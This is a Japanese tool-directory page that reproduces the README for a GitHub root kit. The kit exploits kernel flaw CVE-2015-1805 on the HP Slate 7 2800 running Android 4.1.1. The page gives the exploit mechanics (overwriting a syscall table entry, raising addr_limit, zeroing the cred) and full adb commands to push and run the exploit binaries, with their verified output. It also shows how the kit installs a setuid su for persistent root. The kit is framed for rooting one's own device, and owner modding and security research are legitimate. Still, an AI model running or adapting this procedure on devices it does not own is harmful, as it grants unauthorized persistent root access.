Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
hp-slate7-root-kit — CVE-2015-1805 を使用した HP Slate 7 2800 Android 4.1.1 root化キット。 | Kitploit
ツール/GitHubGitHub/valentineus/hp-slate7-root-kit
Androidセキュリティ特権昇格永続化メカニズム脆弱性分析エクスプロイトポストエクスプロイトモバイルセキュリティペイロード開発バイナリエクスプロイト
GitHubvalentineus/hp-slate7-root-kit

hp-slate7-root-kit

CVE-2015-1805 を使用した HP Slate 7 2800 Android 4.1.1 root化キット。

13日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

Android 4.1.1 搭載 HP Slate 7 2800 用 Root キット

English | Русский

このリポジトリには、ローカル脆弱性 CVE-2015-1805 を悪用して、ファームウェア 1.05.18 とカーネル Linux 3.0.8+ を搭載した HP Slate 7 2800 で永続的な root アクセスを取得するための、完全かつ自己完結型のキットが含まれています。このキットは実機のタブレットで実行され、その結果は新しい ADB セッションと通常の再起動後に検証されました。

これは汎用的な Android ルート化ツールではありません。このエクスプロイトは、この HP カーネル構成に固有のものです。異なるモデル、ファームウェア、またはカーネルバージョンでは実行しないでください。

検証済み構成

パラメーター検証済みの値
メーカーとモデルHP Slate 7 2800
Android4.1.1、API 16、ビルド JRO03H
プロダクト / デバイスt7h / pine
プロセッサーRockchip RK3066、ARMv7
ビルドフィンガープリントhp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys
カーネル3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015
ABI32ビット ARM EABI5
SELinuxカーネル構成には存在しない (CONFIG_SECURITY は無効)
/system パーティションext4、デフォルトでは読み取り専用でマウント

以下のコマンドで、デバイスに変更を加えずに確認できます:

root@kitploit:~
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version

または、以下のスクリプトを使用してください。フィンガープリントまたはカーネルバージョンのいずれかが一致しない場合、実行を拒否します:

root@kitploit:~
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL

リポジトリの内容

root@kitploit:~
.
├── bin/
│   ├── hp-slate7-cve-2015-1805-root  # verified exploit
│   ├── hp-slate7-install-root        # installs su into /system
│   └── hp-slate7-su                  # minimal setuid-root wrapper
├── src/
│   ├── exploit/                      # CVE source and device-specific changes
│   ├── installer/install-root.c      # installer source
│   └── su/rootsh.S                   # minimal su source
├── scripts/
│   ├── build.sh                      # rebuilds all three ELF files
│   ├── check-target.sh               # safe compatibility check
│   └── root-device.sh                # verifies, uploads, and runs the kit
├── SHA256SUMS                        # hashes of the verified bin/* files
├── NOTICE                            # attribution for the original PoC
└── LICENSE                           # GPL-3.0

ファイル形式と目的

検証済みバイナリの SHA-256 チェックサム:

root@kitploit:~
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f  bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a  bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e  bin/hp-slate7-su

macOS での検証:

root@kitploit:~
shasum -a 256 -c SHA256SUMS

Linux での検証:

root@kitploit:~
sha256sum -c SHA256SUMS

タブレットでは bin/ 内のファイルを使用してください。これらはデバイス上で検証された正確なバイト列です。build/ ディレクトリはローカルでの再ビルド用であり、Git では追跡されません。

使用した脆弱性

CVE-2015-1805 は、古い Linux カーネルの pipe_read() および pipe_write() の実装に存在する欠陥です。アトミックコピーが失敗すると、コードは誤って iovec 配列の走査を継続し、ポインターが境界を超えて移動する可能性があります。その結果、特権を持たないローカルプロセスがメモリを破壊し、カーネルをクラッシュさせたり、特権を昇格させたりすることができます。この仕組みの詳細な解説は oss-security で公開されています。修正は、とりわけ上流 Linux のコミット 637b58c と f0d1bec に含まれています。

タブレットの 3.0.8+ カーネルは脆弱であることが確認されました。カーネルメモリを変更する前に、同じ競合状態が、2つの書き込み先が両方ともテストプロセスの通常メモリ内にある無害なプローブで別途テストされました。プローブは CVE-2015-1805: VULNERABLE を報告し、タブレットは ADB 経由でアクセス可能なままでした。

特権昇格の流れ

  1. エクスプロイトは、readv()、メモリマッピングの変更、およびカーネルの脆弱なパイプコードでの大きな iovec 配列の処理の間で競合状態を作り出します。
  2. その結果得られる書き込みプリミティブは、sys_call_table の未使用エントリ 222 を、エクスプロイトプロセス内の小さな ARM トランポリンのアドレスで一時的に置き換えます。
  3. テーブルアドレスは、0xffff0008 のハイベクタを介して計算されます。検証済みデバイスでは、命令は 0xe59ff410 であり、そのリテラルは vector_swi = 0xc04d0d40 を指しています。
  4. vector_swi と sys_call_table は、公式 HP Open Source 1.05.10 カーネルアーカイブ (アーカイブ SHA-256: dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2) から rk30_t7h_dvt_defconfig defconfig を使用して独立に組み立てられました。それらのオフセットは 0xc4 です。インストールされているファームウェアには OABI も seccomp もないため、テーブルの最終的な実行時アドレスは 0xc04d0e04 です。

古いカーネルヘッダーの元の current_thread_info() 関数は、-O0 では最新の Clang と互換性がありませんでした。初期のプロトタイプは sp レジスタではなく初期化されていないワードを読み取り、カーネルをクラッシュさせる可能性がありました。このリポジトリでは、検証済みの naked ARM トランポリンに置き換えられています。初期のバイナリはリポジトリには含まれていません。

必要なソフトウェア

bin/ の既製ファイルを使用する場合

  • macOS または Linux を実行しているコンピューター。適切な ADB USB ドライバーがあれば Windows でも可能ですが、この手順は macOS で検証されています。
  • Android SDK Platform Tools の adb。
  • 動作する USB データケーブル。
  • USB デバッグが有効で、コンピューターの RSA キーがタブレットで承認されていること。

Android NDK、Java、Python、fastboot、ロック解除されたブートローダー、カスタムリカバリ、ルート化 APK、ネットワークアクセスは不要です。エクスプロイトとペイロードは静的リンクされています。

ソースから再ビルドする場合

  • Zig 0.15.2。ポータブルアーカイブを展開するだけで十分で、システム全体へのパッケージインストールは不要です。
  • Bash。
  • 結果を検証するための shasum または sha256sum。

Android NDK はやはり不要です。Zig が ARM musl クロスツールチェーンを提供します。

タブレットの準備

  1. タブレットを少なくとも 50% まで充電します。検証実行時は約 80% でした。
  2. Android を通常どおり起動し、画面のロックを解除します。
  3. 開発者向けオプション -> USB デバッグ を有効にします。
  4. ケーブルを接続し、Android に USB デバッグの RSA プロンプトが表示されたら承認します。
  5. Towelroot、KingRoot、その他のルート化アプリケーションを同時に実行しないでください。
  6. 不要なアプリケーションを閉じてください。エクスプロイトは多数のスレッドを作成し、この古いデバイスの限界に近づきます。

接続を確認します:

root@kitploit:~
adb devices -l

ステータスは device である必要があり、offline や unauthorized であってはなりません。

root を取得する: 手動手順

リポジトリのルートに移動し、まずデバイスが完全に一致することを確認します:

root@kitploit:~
./scripts/check-target.sh

複数のデバイスが接続されている場合は、adb -s SERIAL を使用してすべてのコマンドにシリアル番号を渡すか、ANDROID_SERIAL 環境変数を設定してください。

相互に期待される名前を使用して、3つのファイルをアップロードします:

root@kitploit:~
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7

パーミッションを設定し、ステージングされたファイルをストレージにフラッシュします:

root@kitploit:~
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'

エクスプロイトを 1回だけ 実行します:

root@kitploit:~
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'

検証済みの成功出力:

root@kitploit:~
offset:c4
addr:c04d0d40
    [+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0

デバイスが数秒間 ADB から消えても、エクスプロイトを再度実行しないでください。戻ってくるのを待ちます:

root@kitploit:~
adb wait-for-device

自動手順

このスクリプトは、フィンガープリントとカーネルを検証し、SHA-256 ハッシュをチェックし、ファイルをアップロードし、ROOT の入力を求めて、エクスプロイトを実行し、uid=0 を検証します:

root@kitploit:~
./scripts/root-device.sh

複数のデバイスの場合:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL

--yes オプションはインタラクティブな確認を無効にし、意図的な自動化でのみ使用することを想定しています:

root@kitploit:~
./scripts/root-device.sh --serial ADB_SERIAL --yes

結果の検証

エクスプロイトプロセスの uid からではなく、新しい ADB シェルから root を検証します:

root@kitploit:~
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '

期待される出力:

root@kitploit:~
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...

次に、一時的なステージングファイルのみを削除します。インストールされた /system/xbin/su は削除されません:

root@kitploit:~
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'

このキットは /data/local.prop を作成せず、ユーザーデータも変更しません。

通常の再起動を実行し、その後で永続的な root を検証します:

root@kitploit:~
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'

検証済みタブレットは、再起動後に次の結果を生成しました:

root@kitploit:~
uid=0(root) gid=0(root) ...

インストールされたファイルはタブレットから取得され、bin/hp-slate7-su とバイト単位で一致しました:

root@kitploit:~
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e

root の使用

単一のコマンドを実行するには:

root@kitploit:~
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'

hp-slate7-su は、Android アプリ、確認プロンプト、デーモン、パーミッションログを持たない、意図的に最小限のラッパーです。/system/xbin/su を実行できるローカルプロセスは、root を取得できる可能性があります。ルート化後は、この旧式のタブレットを機密データに使用しないでください。また、信頼できない APK をインストールしないでください。

ソースからの再ビルド

ポータブル Zig 0.15.2 へのパスを指定するか、zig を PATH に追加します:

root@kitploit:~
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh

出力は build/ に書き込まれます:

root@kitploit:~
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su

ファイル形式を確認します:

root@kitploit:~
file build/hp-slate7-*

3つのファイルはすべて 32ビット ARM EABI5 ELF ファイルである必要があります。検証済みの Zig 0.15.2 バージョンでは、インストーラーと su は bin/ 内のファイルとバイト単位で完全に同一に再ビルドされます。エクスプロイトのハッシュは、DWARF とリンカーメタデータ内の絶対パスのために異なる場合があります。その重要な6命令のトランポリンは、検証ビルドでバイト単位で同一でした。再ビルドしても、タブレットで実際に実行された bin/ 内のファイルのチェックサムは置き換えられません。

トラブルシューティング

unauthorized

画面のロックを解除し、USB デバッグの RSA キーを承認します。プロンプトが表示されない場合は、ケーブルを再接続して adb devices -l を再度実行してください。

offline、またはデバイスが消える場合

数秒待って adb wait-for-device を実行します。タブレットの電源が切れている場合は、電源ボタンで通常どおりオンにします。エクスプロイトの2つ目のインスタンスを同時に実行しないでください。

エクスプロイトが [+] Done を出力しなかった場合

この CVE は競合状態を通じて悪用されるため、理論上は失敗する可能性があります。再試行は1回だけにし、その前にタブレットを再起動してください。バイナリをループで実行しないでください。競合状態の失敗はカーネルをクラッシュさせる可能性があります。

su は存在するが、コマンドがコード 127 で終了する場合

ファイルの SHA-256 ハッシュを確認してください。初期の調査用ラッパーは ARM で argv を誤って処理し、コード 127 で終了しました。このリポジトリには、SHA-256 が 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e の修正済み 656バイト版が含まれています。

HP ロゴが画面に残っているが、ADB はすでに利用可能な場合

Android の実際の状態を確認します:

root@kitploit:~
adb shell getprop sys.boot_completed
adb shell dumpsys window windows

sys.boot_completed=1 は、物理ディスプレイがまだ古いフレームを表示していても、Android が起動したことを意味します。

テストされたものと使用されなかったもの

他のよく知られた手法は、このデバイスでは安全に除外されるか、不適切であると判断されました: CVE-2013-6282、CVE-2013-2094、CVE-2012-0056、CVE-2013-4787、Dirty COW、PingPongRoot。Towelroot/CVE-2014-3153 はこのカーネルをクラッシュさせたため、使用してはなりません。CVE-2014-7951 は ADB リストアのパストラバーサルを介してファイルを書き込むことを可能にしましたが、HP ファームウェアは /data/local.prop を読み込まなかったため、この方法では root は得られませんでした。

ブートローダーは古い Rockchip ローダーを使用しており、標準の fastboot デバイスとしては認識されませんでした。この結果を得るために、リカバリのフラッシュやブートローダーのロック解除は必要ありませんでした。

由来とライセンス

エクスプロイトコードは mobilelinux/iovy_root_research のコミット f945796 に基づいており、さらに dosomder/iovyroot を参照しています。デバイス固有の変更には、スレッド数の削減、タイムアウトの修正、naked ARM トランポリンの使用、システムコールテーブルの早期復元、cred の検証、該当しない SELinux ブランチの無効化が含まれます。

元の通知は保存されています。このリポジトリは GPL-3.0 の下で配布されています。LICENSE と NOTICE を参照してください。

免責事項

カーネルメモリの悪用には、デバイスの再起動、システムの破損、データ損失のリスクが常に伴います。このキットは、あなたが所有し、ファームウェアが完全に一致する HP Slate 7 2800 のみを対象としています。重要なデータはバックアップし、他人のデバイスでは使用しないでください。


セキュリティ調査とドキュメントは、Daybreak Blue サイバーセキュリティアクセスを備えた GPT-5.6 Sol を搭載した OpenAI Codex の支援を受けて完了しました。


リポジトリの場所: 正規ソース · github · 読み取り専用ミラー

ツールをダウンロード
ファイル形式サイズ目的
bin/hp-slate7-cve-2015-1805-rootELF 32ビット ARM EABI5、静的、strip なし2,722,320 バイトCVE を悪用して uid 0 を取得し、インストーラーを起動
bin/hp-slate7-install-rootELF 32ビット ARM EABI5、静的、strip 済み22,596 バイト/system を一時的に rw で再マウントし、su をインストールして ro に戻す
bin/hp-slate7-suELF 32ビット ARM EABI5、静的、strip 済み656 バイトsetresgid(0,0,0) と setresuid(0,0,0) を呼び出してから /system/bin/sh を起動
  • トランポリンは正確に6つの ARM 命令で構成されています。現在の sp を取得し、8,192バイトのカーネルスタックサイズに整列させ、オフセット 8 の thread_info.addr_limit にのみ -1 を書き込みます。外部呼び出し、プロローグ、コンパイラのランタイムコードは含まれていません。
  • 一時的なシステムコールが戻るとすぐに、エントリ 222 がエントリ 223 から復元されます。HP ソースでは両方のエントリが sys_ni_syscall です。検証済みカーネルで復元されたポインターは 0xc051900c です。
  • addr_limit が拡張されると、パイプコピーは現在の task_struct を読み取り、cred を見つけ、現在の uid/gid 値、アライメント、参照カウント、および real_cred == cred 条件を使用して構造体を検証します。これらのチェックの後でのみ、uid/gid 値がゼロにされ、ケーパビリティマスクがすべて 1 で埋められます。
  • プロセスは uid=0 を取得し、/data/local/tmp/install-root を起動します。インストーラーは /system を rw で再マウントし、ペイロードを /system/xbin/su にコピーし、root:root の所有権とモード 06755 を設定し、sync() を呼び出し、/system を読み取り専用で再マウントします。